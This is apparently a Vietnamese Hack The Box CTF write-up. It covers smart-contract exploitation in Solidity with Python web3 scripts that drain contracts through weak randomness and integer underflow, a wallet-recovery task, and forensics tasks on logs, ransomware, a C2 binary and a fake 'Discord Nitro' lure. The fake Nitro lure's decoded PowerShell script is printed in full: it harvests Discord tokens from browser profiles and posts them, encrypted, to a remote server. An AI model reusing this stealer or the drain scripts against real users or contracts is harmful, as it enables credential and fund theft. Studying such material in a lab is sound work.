// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // 💀
} else {
return "im SAFU ... for now";
}
}
}
Solution
Bài này thì có hai file, file Setup.sol
sẽ được thực thi chính, và flow của chương trình sẽ như sau (cũng có thể hỏi ChatGPT nếu stuck):
Khai báo một contract tên
Setup
Khai báo một biến TARGET (biến
immutable
, tạm hiểu là không thể thay đổi, giống với chức năng của biếnconstant
). Bên cạnh đóTARGET
thuộc kiểuRussianRoulette
(đã import từ fileRussianRoulette.sol
)Khai báo một hàm khởi tạo, trong hàm này gán
TARGET
bằng địa chỉ củaRussianRoulette
và 10Ether
khởi tạoKhai báo hàm
isSolved()
, dùng để kiểm tra số dư củaTARGET
, nếu bằng 0 thì trả vềTrue
Mình sẽ đi sâu một chút vào phân tích file RussianRoulette.sol
:
Khai báo hàm khởi tạo (nhưng chả có gì ngoài dòng comment cho vui 🐒)
Khai báo hàm
pullTrigger()
, hàm này chúng ta có thể call được. Hàm này sẽ check nếu hash của block trước mod 10 bằng 7 thì tự hủy luôn (selfdestruct
), thực ra là nó sẽ gửi tất cả tiền về cho mình, nếu không thì in ra dòngim SAFU ... for now
(thực ra chẳngSAFU
nổi đâu vì mình sắp cho nó đi bán muối rồi 😈 )
Rồi, vậy thì mục tiêu chính của bài là lấy tất cả tiền của thằng TARGET
kia rồi mình sẽ nhận được flag. Có một điều mình chưa nói là khi Spawn Docker
của bài sẽ có 2 ports cho 1 id. Thực chất 1 port là để connect để lấy thông tin còn 1 port để nc với server (để lấy flag) thôi.
Mình sẽ nói về cách exploit ở đây. Đầu tiên nếu ai chưa tiếp xúc với solidity bao giờ, nói chung là smart contract đi, thì sẽ rất khó để hiểu code và viết nó ra sao. Mình cũng thế và toàn bộ code là do ChatGPT viết, cái chính ở đây sẽ là idea để khai thác. Hàm duy nhất mình có thể attack ở đây là pullTrigger()
vì mình tương tác với nó mà, bên cạnh đó hàm cũng là cách duy nhất để thó sạch tiền của thằng cu TARGET
kia. Hàm này kiểm tra hash của block trước, nhưng bố ai biết được block trước như nào 🐧, vậy nên khá may rủi. Tuy nhiên, hàm không giới hạn lần gọi, nên mình sẽ gọi nhiều lần pullTrigger()
cho đến khi thó được tiền thì thôi. Idea đơn giản như thế nhưng code gần trăm dòng chứ ít 🐧
Full script:
import eth_account
from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://94.237.53.81:39438'))
Private_key = '0xe1fc19baee3e2ec693eb28626a41d1f0fa297b2481b66e0b7bcad143bb4ffa38'
Address = '0xAe0CEeDB8238725A8BdCCeF55161d06Fb1e111F0'
Target_contract = '0x251478952cDF5819e5C901db75a1E12B65Af3122'
Setup_contract = '0x1176a5a7413241ECA579B5d38290b8fe31e24FE9'
my_account = eth_account.Account.from_key(Private_key)
SETUP_CONTRACT_ABI = [
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "TARGET",
"outputs": [
{
"internalType": "contract RussianRoulette",
"name": "",
"type": "address"
}
],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "isSolved",
"outputs": [
{
"internalType": "bool",
"name": "",
"type": "bool"
}
],
"stateMutability": "view",
"type": "function"
}
]
TARGET_CONTRACT_ABI = [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "pullTrigger",
"outputs": [
{
"internalType": "string",
"name": "",
"type": "string"
}
],
"stateMutability": "payable",
"type": "function"
}
]
Setup_contract = w3.eth.contract(address=Setup_contract, abi=SETUP_CONTRACT_ABI)
Target_contract = w3.eth.contract(address=Target_contract, abi=TARGET_CONTRACT_ABI)
while True:
is_solved = Setup_contract.functions.isSolved().call()
if is_solved:
print("Target contract is already solved!")
break
tx = Target_contract.functions.pullTrigger().build_transaction({
'gas': 200000,
'gasPrice': w3.to_wei('5', 'gwei'),
'nonce': w3.eth.get_transaction_count(Address),
})
signed_tx = w3.eth.account.sign_transaction(tx, Private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
print("Transaction sent:", tx_hash.hex())
(để chạy được code này thì cần spawn docker, lấy ip server, lấy info, cài đặt thư viện web3, nói chung là nhiều lắm nên cách này cũng hơi lỏ 🐒)
Sau khi thó tiền thì quay lại port 2 kia để lấy flag. Done 💰
Flag
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
Note
Bên cạnh đó, mình có thể sử dụng một tool lỏ có tên là Foundry
nhưng tạm thời mình chưa tìm hiểu kĩ nên thôi 🐒
Lucky Faucet
Description
Setup.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;
import {LuckyFaucet} from "./LuckyFaucet.sol";
contract Setup {
LuckyFaucet public immutable TARGET;
uint256 constant INITIAL_BALANCE = 500 ether;
constructor() payable {
TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
}
}
LuckyFaucet
:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
contract LuckyFaucet {
int64 public upperBound;
int64 public lowerBound;
constructor() payable {
// start with 50M-100M wei Range until player changes it
upperBound = 100_000_000;
lowerBound = 50_000_000;
}
function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
require(_newLowerBound <= 50_000_000, "50M wei is the max lowerBound sry");
require(_newLowerBound <= _newUpperBound);
// why? because if you don't need this much, pls lower the upper bound :)
// we don't have infinite money glitch.
upperBound = _newUpperBound;
lowerBound = _newLowerBound;
}
function sendRandomETH() public returns (bool, uint64) {
int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
// we can safely cast to uint64 since we'll never
// have to worry about sending more than 2**64 - 1 wei
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound);
bool sent = msg.sender.send(amountToSend);
return (sent, amountToSend);
}
}
Solution
Sau khi trải nghiệm một bài blockchain đơn giản thì mình bị quẳng ngay một bài lỏ. Mình sẽ chỉ giải thích điều kiện để lấy được flag, phân tích những gì mình có và cách exploit thui.
Trước tiên đọc file
Setup.sol
biết được:TARGET
của mình có 500Ether
khởi tạoLấy được flag khi tiền của
TARGET
bị hụt đi 10Ether
Còn với file
LuckyFaucet
:Khai báo hai mức
Bound
, một là max một là minKhai báo một hàm
setBounds()
cho phép mình thay đổiBound
Khai báo hàm
sendRandomETH()
. Hàm này như một cái vòi nước từ túi củaTARGET
, dùng để gửi tiền cho mình nhưng là tiền trong giới hạnBound
thôi.
Qua phân tích trên, cộng với việc hàm
setBounds()
là hàm mình có thể call vào, thì chắc chắn lỗ hổng nằm ở đây. Mình cần lấy điEther
từTARGET
, mà tiền củaTARGET
phụ thuộc vàoBound
do mình set, vậy nên đây là hướng đi.Tất nhiên, câu hỏi sẽ là
Bound
như nào mới bypass, vậy mình cần phân tích lượng tiền mà nó gửi:
uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound)
- Mình cần làm sao cho lượng
amountToSend
càng lớn càng tốt. Bên cạnh đó, trong Solidity, nếu mình khai báo một sốk < 0
ở dạnguint64
, số trả về sẽ cực lớn, cụ thể làuint64(k) = 2**64 + k
. Sure về hướng exploit rồi, giờ thì tới code thôi:
import eth_account
from web3 import Web3
RPC = ''
private_key = ''
address = ''
target_contract_address = ''
w3 = Web3(Web3.HTTPProvider(RPC))
target_contract_abi = [
{
"inputs": [],
"stateMutability": "payable",
"type": "constructor"
},
{
"inputs": [],
"name": "upperBound",
"outputs": [{"internalType": "int64", "name": "", "type": "int64"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "lowerBound",
"outputs": [{"internalType": "int64", "name": "", "type": "int64"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "sendRandomETH",
"outputs": [{"internalType": "bool", "name": "", "type": "bool"}, {"internalType": "uint64", "name": "", "type": "uint64"}],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [{"internalType": "int64", "name": "_newLowerBound", "type": "int64"}, {"internalType": "int64", "name": "_newUpperBound", "type": "int64"}],
"name": "setBounds",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]
my_account = eth_account.Account.from_key(private_key)
w3.eth.default_account = my_account.address
target_contract = w3.eth.contract(address=target_contract_address, abi=target_contract_abi)
target_contract.functions.setBounds(-10000000000000000, 100000000).transact()
tx_hash = target_contract.functions.sendRandomETH().transact()
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction successful")
if w3.eth.get_balance(my_account.address) >= 10 * 10**18:
print("Exploited successfully!")
else:
print("Set bounds again!")
(Nhớ thay thế các giá trị vào nha ❤️)
Flag
HTB{1_f0rg0r_s0m3_U}
Note
Cần lưu ý tiền chỉ gửi một lần nên không thể set vòng lặp như bài trước đâu 💸:
10 Ether
tương đương với10 * 10**18 wei
và tiền giao dịch theo đơn vịwei
nên có phép so sánh ở dòng 56 kia 💰.
Recovery
Description
We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept.
We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins?
Username: satoshi
Password: L4mb0Pr0j3ct
NOTE: Network is regtest, check connection info in the handler first.
Solution
Đây là chall duy nhất trong Blockchain không cho một file gì 🐧, bên cạnh đó còn cho 1 IP nhưng với 3 Ports, siêu lỏ.
Mình sẽ phân tích 3 Ports và cách dùng:
Port 1: Vác vào SSH để lấy seed - sử dụng để recover lại ví (Dùng với Electrum)
Port 2: Dùng để tạo một network loại regtest - dùng cho thí nghiệm và không ảnh hưởng đến các lưu thông tiền ảo bên ngoài.
Port 3: Tương tác với server và lấy flag - dùng nc
Mình sẽ tổng hợp các bước và thông tin ở dưới đây (theo thời điểm làm bài của mình vì Docker mỗi người một khác):
IP: 94.237.50.175
PORT 1: 41769
ssh satoshi@94.237.50.175 -p 41769
L4mb0Pr0j3ct
--------------------------------------------------
PORT 2: 31819
& "E:\Electrum\electrum-4.5.3.exe" --regtest --oneserver -s 94.237.50.175:31819:t
--------------------------------------------------
PORT 3: 37501
nc 94.237.50.175 37501
Các bước:
--> Seed: fortune bubble wealth all sure sun awful agree energy possible margin green
Nhập vài thông tin linh tinh, chọn
Standard wallet
rồiI already have a seed
Nhảy ra như thế này là oke
Chúng ta sẽ quay sang nc để lấy thông tin người cần gửi
Tới đây lấy thông tài tài khoản đích:
--> Address:
bcrt1qs7qqy5573cqqd6d3uj7htn2x02hqrk3yde3ygr
Quay lại Electrum và giao dịch
Rồi back lại server lấy flag là xong
Flag
HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}
Note
Bài này mình được Thụy AT20
support, sau khi làm thì thấy chall chả khác 🐶 gì Forensics very easy cả 🐧
Ledger Heist
Description
Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power.
Errors.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
error NotSupported(address token);
error CallbackFailed();
error LoanNotRepaid();
error InsufficientBalance();
Events.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface Events {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event FlashLoanSuccessful(
address indexed target, address indexed initiator, address indexed token, uint256 amount, uint256 fee
);
event FeesUpdated(address indexed token, address indexed user, uint256 fees);
}
FixedPointMath.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library FixedMathLib {
function fixedMulFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) {
return self * b / denominator;
}
function fixedMulCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) {
uint256 _mul = self * b;
if (_mul % denominator == 0) {
result = _mul / denominator;
} else {
result = _mul / denominator + 1;
}
}
function fixedDivFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) {
return self * denominator / b;
}
function fixedDivCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) {
uint256 _mul = self * denominator;
if (_mul % b == 0) {
result = _mul / b;
} else {
result = _mul / b + 1;
}
}
}
Interfaces.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface IERC20Minimal {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IERC3156FlashBorrower {
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data)
external
returns (bytes32);
}
LoanPool.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";
struct UserRecord {
uint256 feePerShare;
uint256 fees;
uint256 balance;
}
contract LoanPool is Events {
using FixedMathLib for uint256;
uint256 constant BONE = 10 ** 18;
address public underlying;
uint256 public totalSupply;
uint256 public feePerShare;
mapping(address => UserRecord) public userRecords;
constructor(address _underlying) {
underlying = _underlying;
}
function deposit(uint256 amount) external {
address _msgsender = msg.sender;
_updateFees(_msgsender);
IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount);
_mint(_msgsender, amount);
}
function withdraw(uint256 amount) external {
address _msgsender = msg.sender;
if (userRecords[_msgsender].balance < amount) {
revert InsufficientBalance();
}
_updateFees(_msgsender);
_burn(_msgsender, amount);
// Send also any fees accumulated to user
uint256 fees = userRecords[_msgsender].fees;
if (fees > 0) {
userRecords[_msgsender].fees = 0;
amount += fees;
emit FeesUpdated(underlying, _msgsender, fees);
}
IERC20Minimal(underlying).transfer(_msgsender, amount);
}
function balanceOf(address account) public view returns (uint256) {
return userRecords[account].balance;
}
// Flash loan EIP
function maxFlashLoan(address token) external view returns (uint256) {
if (token != underlying) {
revert NotSupported(token);
}
return IERC20Minimal(token).balanceOf(address(this));
}
function flashFee(address token, uint256 amount) external view returns (uint256) {
if (token != underlying) {
revert NotSupported(token);
}
return _computeFee(amount);
}
function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (token != underlying) {
revert NotSupported(token);
}
IERC20Minimal _token = IERC20Minimal(underlying);
uint256 _balanceBefore = _token.balanceOf(address(this));
if (amount > _balanceBefore) {
revert InsufficientBalance();
}
uint256 _fee = _computeFee(amount);
_token.transfer(address(receiver), amount);
if (
receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
!= keccak256("ERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}
uint256 _balanceAfter = _token.balanceOf(address(this));
if (_balanceAfter < _balanceBefore + _fee) {
revert LoanNotRepaid();
}
// Accumulate fees and update feePerShare
uint256 interest = _balanceAfter - _balanceBefore;
feePerShare += interest.fixedDivFloor(totalSupply, BONE);
emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
return true;
}
// Private methods
function _mint(address to, uint256 amount) private {
totalSupply += amount;
userRecords[to].balance += amount;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) private {
totalSupply -= amount;
userRecords[from].balance -= amount;
emit Transfer(from, address(0), amount);
}
function _updateFees(address _user) private {
UserRecord storage record = userRecords[_user];
uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);
record.fees += fees;
record.feePerShare = feePerShare;
emit FeesUpdated(underlying, _user, fees);
}
function _computeFee(uint256 amount) private pure returns (uint256) {
// 0.05% fee
return amount.fixedMulCeil(5 * BONE / 10_000, BONE);
}
}
Setup.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";
contract Setup {
LoanPool public immutable TARGET;
Token public immutable TOKEN;
constructor(address _user) {
TOKEN = new Token(_user);
TARGET = new LoanPool(address(TOKEN));
TOKEN.approve(address(TARGET), type(uint256).max);
TARGET.deposit(10 ether);
}
function isSolved() public view returns (bool) {
return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether);
}
}
Token.sol
:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Events} from "./Events.sol";
contract Token is Events {
string public name = "Token";
string public symbol = "Tok";
uint8 public immutable decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
constructor(address _user) payable {
_mint(msg.sender, 10 ether);
_mint(_user, 1 ether);
}
function approve(address spender, uint256 amount) public returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) public returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
function _mint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) private {
balanceOf[from] -= amount;
totalSupply -= amount;
emit Transfer(from, address(0), amount);
}
}
Solution
Viết thế này thôi chứ mình biết giải 🐶 đâu mà 🐧. Hẹn gặp lại vào một ngày mình lỏ hơn 💰
Forensic
An_unusual_sighting
credit: Nex0
Trace log và trả lời câu hỏi sau khi connect tới instance.
- What is the IP Address and Port of the SSH Server (IP:PORT)
Dễ thấy nó listen ở port 2221 và khi có connect tới, ta có IP:
Ans:
100.107.36.130:2221
- What time is the first successful Login
Ans:
2024-02-13 11:29:50
- What is the time of the unusual Login
Tại file bash, ta thấy root có add user mới tên softdev và config hệ thống các thứ. Trace lại ở ssh log, có 2 lần login vào root, đặc biệt là lần thứ 2 match với command whoami
trong bash (sussy :D).
Từ đó ta có time của unusual login:
Ans:
2024-02-19 04:00:14
- What is the Fingerprint of the attacker's public key
Ngay bên cạnh time đó trong log luôn.
Ans:
OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4
- What is the first command the attacker executed after logging in
Trace theo thời gian như trên ta đã nói thôi, là whoami
Ans:
whoami
- What is the final command the attacker executed before logging out
Attacker thoát ssh lúc 2024-02-19 04:38:17
, ta có command cuối cùng gần nhất với time này là:
Ans:
./setup
Flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!}
Confinement
credit: Nex0
Đề cho 1 file ad1, load bằng FTK Imager
và phân tích. Trong các folder Document thì file bị encrypt, 1 số file bị sửa mỗi byte đầu nên lúc đó mình chưa hiểu là ransomware kiểu gì:v Trôn VN.
Recent các thứ cũng không có gì, nên mình chuyển qua đọc log.
Tại log Microsoft-Windows-Powershell-Operational
, event id 4104 (common:v), mình trace được command:
Sussy XD, sau whoami là 1 loạt các command như sau:
Tổng kết lại là sau khi có shell, attacker check info domain, ip,... tải về zip chứa 1 mớ các exe gì gì đó. Ta có thể xem đầy đủ trong prefetch của 7z:
Attacker chạy 1 số con exe trong đấy, sau đó gỡ Windows Defender đi.
Sau khi chạy 1 số exe trong này, attacker đã xóa file zip và các exe liên quan trong Documents, nên lúc đấy mình không nghĩ ra hướng nào nữa.
Tuy nhiên, attacker chạy xong exe mới gỡ Windows Defender bằng Dism 🐸, điều này hướng mình tới Log Firewall có thể còn thông tin gì đó.
Chính đây là thời điểm Dism
Defender:
Ta trace ngược lại 1 ít thời gian:
Ở đây ta thấy con intel.exe
trước đó đã bị detect và quarantined. Củng cố hơn cho việc đây là con ransom, tại Powershell log ban nãy, ta có thấy con intel.exe chạy bị lỗi gì đó, Werfault được gọi lên và ghi lại report, tại path Program Data\Microsoft\Windows\WER
ta có thể tìm thấy crash folder của intel.exe, tại đó chứa wer report của nó. Original filename là Encrypter.exe =))
Sau khi dạo quanh google 1 đêm, mình đọc được 1 bài này:
Tức là vẫn còn cách để khôi phục. Mình nhận ra tiềm năng từ đây :)), mình bắt đầu google 1 số thứ liên quan và tìm hiểu được rằng, file bị detect sẽ được quarantine vào folder /Program Data/Windows Defender/Quarantine
, từ đó người dùng có thể tùy chọn remove hoặc restore file đó.
Mình tìm được tool sau: https://github.com/knez/defender-dump/tree/master
Tiến hành khôi phục thử thôi:
Ngon =)). Tiến hành RE thôi nào.
DotNet enjoyer!
Đầu tiên với hàm Main:
Vì là ransomware, mình sẽ tập trung vào các phần liên quan tới mã hóa thôi. Ta thấy nó tạo 1 object CoreEncrypter với param (passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName,
Program.email
)
Tiếp tục đi vào class passwordHasher, nó nối password và salt vào:
Password ở đây là UID và Salt từ class Program:
Salt:
Password: Nó đang được set giá trị là null, nhưng nếu đọc kỹ thì tại hàm Main, biến này cũng được gọi lên để hàm GenerateUserID() gen giá trị rồi assign vào biến đó.
GenerateUserID():
Hàm này gen ra 1 chuỗi 14 ký tự xen kẽ chuỗi và kí tự thôi.
Sau khi gen xong, ta thấy nó được truyền vào object Alert với vai trò là AttackID, khi reference, ta dễ dàng thấy AttackID này được nhồi vào Html chứa thông báo tống tiền:
Vào folder bất kì có file bị encrypt rồi mở file HTA lên xem là ta có AttackID, đồng nghĩa với việc ta đã có password :v :
Quay trở lại passwordHasher, nó gọi đến Hasher:
Thực hiện concat 2 cái trên ta vừa tìm được, sha512 lại rồi encode base64. Làm tương tự và mình có chuỗi sau:
A/b2e5CdOYWbfxqJxQ/Y4Xl4yj5gYqDoN0JQBIWAq5tCRPLlprP2GC87OXq92v1KhCIBTMLMKcfCuWo+kJdnPA==
Sau khi khởi tạo Object CoreEncrypter xong, tại Main, ta thấy nó gọi tới hàm Enc, và Enc lại gọi tới EncryptFile trong CoreCrypter. Ta cùng xem qua:
Đầu tiên nó derive key nhận vào 3 params:
- Key: chính là param 1 truyền vào Object CoreEncrypter, cụ thể là chuỗi base64 ta tính được từ pass và salt ở trên:
A/b2e5CdOYWbfxqJxQ/Y4Xl4yj5gYqDoN0JQBIWAq5tCRPLlprP2GC87OXq92v1KhCIBTMLMKcfCuWo+kJdnPA==
- Salt: là byte array trong code kia, mình convert sang hex:
0001010001010000
- Iterations:
4953
Ngoài lề, sau khi đọc hết code, mình biết được các file vượt quá size mà nó xác định kia (đoạn if), thì nó chỉ mã hóa byte đầu thôi, điều này cũng clear cho mình hơn tại sao lại có ransomware troll thế :v
Derive key thôi!
Sau đó truncate nó thành 2 phần là key với iv, decrypt aes:
Header PK, decrypt xong rồi. Mở ra và ẵm flag thôi:
Flag: HTB{2_f34r_1s_4_ch01ce_322720914448bf9831435690c5835634}
Data Siege
credit: Nex0
C2 server, extract Exe từ Pcap ra và phân tích thôi :))
Exe .net, mình dùng dnspy.
Ta có salt của đoạn derive key trong hàm encrypt/decrypt sau khi decode là: Very_S3cr3t_S
Derive key, ta có thể tìm thấy password ngay trong code, salt ở bên trên. Ngoài ra còn 1 tham số nữa là Iteration, default value của nó ta có dựa vào đây:
Value = 1000:
Từ đó ta derive ra bytes sequence như sau:
Truncate nó và decrypt thôi, mình decrypt từng cái 1, tại đây mình có part 2 và part 1: h45b33n_r357
Tại đây chạy powershell với param encode:
Mình decode nó ra, ta sẽ thấy part 3 được set tên cho new schedule task:
Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}
Fake_Boost
credit: Nex0
Đề cấp 1 file pcapng. Tại tcp.stream
eq 3
, ta thấy nó tải xuống 1 attachment là file ps1 tại dir /freediscordnitro. Cùng phân tích file ps1 này:
Đại khái là reverse xong decode base64 cái biến dài ngoằng ở trên, sau đó iex nó:
Full decoded script:
$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"
function Steal {
param (
[string]$path
)
$tokens = @()
try {
Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
try {
$fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop
foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
$tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
$_.Matches.Value
}
}
} catch {}
}
} catch {}
return $tokens
}
function GenerateDiscordNitroCodes {
param (
[int]$numberOfCodes = 10,
[int]$codeLength = 16
)
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
$codes = @()
for ($i = 0; $i -lt $numberOfCodes; $i++) {
$code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
$codes += $code
}
return $codes
}
function Get-DiscordUserInfo {
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[string]$Token
)
process {
try {
$Headers = @{
"Authorization" = $Token
"Content-Type" = "application/json"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
}
$Uri = "https://discord.com/api/v9/users/@me"
$Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
return $Response
}
catch {}
}
}
function Create-AesManagedObject($key, $IV, $mode) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Encrypt-String($key, $plaintext) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
[System.Convert]::ToBase64String($fullData)
}
Write-Host "
______ ______ _ _ _ _ _ _ _____ _____ _____ ___
| ___| | _ (_) | | | \ | (_) | / __ \| _ |/ __ \ / |
| |_ _ __ ___ ___ | | | |_ ___ ___ ___ _ __ __| | | \| |_| |_ _ __ ___ `' / /'| |/' |`' / /'/ /| |
| _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \ / / | /| | / / / /_| |
| | | | | __/ __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\ | | |_| | | (_) | ./ /___\ |_/ /./ /__\___ |
\_| |_| \___|\___| |___/ |_|___/\___\___/|_| \__,_| \_| \_/_|\__|_| \___/ \_____/ \___/ \_____/ |_/
"
Write-Host "Generating Discord nitro keys! Please be patient..."
$local = $env:LOCALAPPDATA
$roaming = $env:APPDATA
$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
$paths = @{
'Google Chrome' = "$local\Google\Chrome\User Data\Default"
'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
'Opera' = "$roaming\Opera Software\Opera Stable"
'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
}
$headers = @{
'Content-Type' = 'application/json'
'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}
$allTokens = @()
foreach ($platform in $paths.Keys) {
$currentPath = $paths[$platform]
if (-not (Test-Path $currentPath -PathType Container)) {continue}
$tokens = Steal -path $currentPath
$allTokens += $tokens
}
$userInfos = @()
foreach ($token in $allTokens) {
$userInfo = Get-DiscordUserInfo -Token $token
if ($userInfo) {
$userDetails = [PSCustomObject]@{
ID = $userInfo.id
Email = $userInfo.email
GlobalName = $userInfo.global_name
Token = $token
}
$userInfos += $userDetails
}
}
$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload
try {
$headers = @{
'Content-Type' = 'text/plain'
'User-Agent' = 'Mozilla/5.0'
}
Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}
Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }
Part 1 ngay trong code, decode base64 ra:
HTB{fr33_N17r0G3n_3xp053d!_
Code này tiến hành AES encrypt payload lại rồi POST lên server, ta đã có key rồi, truncate encrypted payload ra là có IV, decrypt ra thôi:
Decode base64 email ra, ta có part 2:
b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
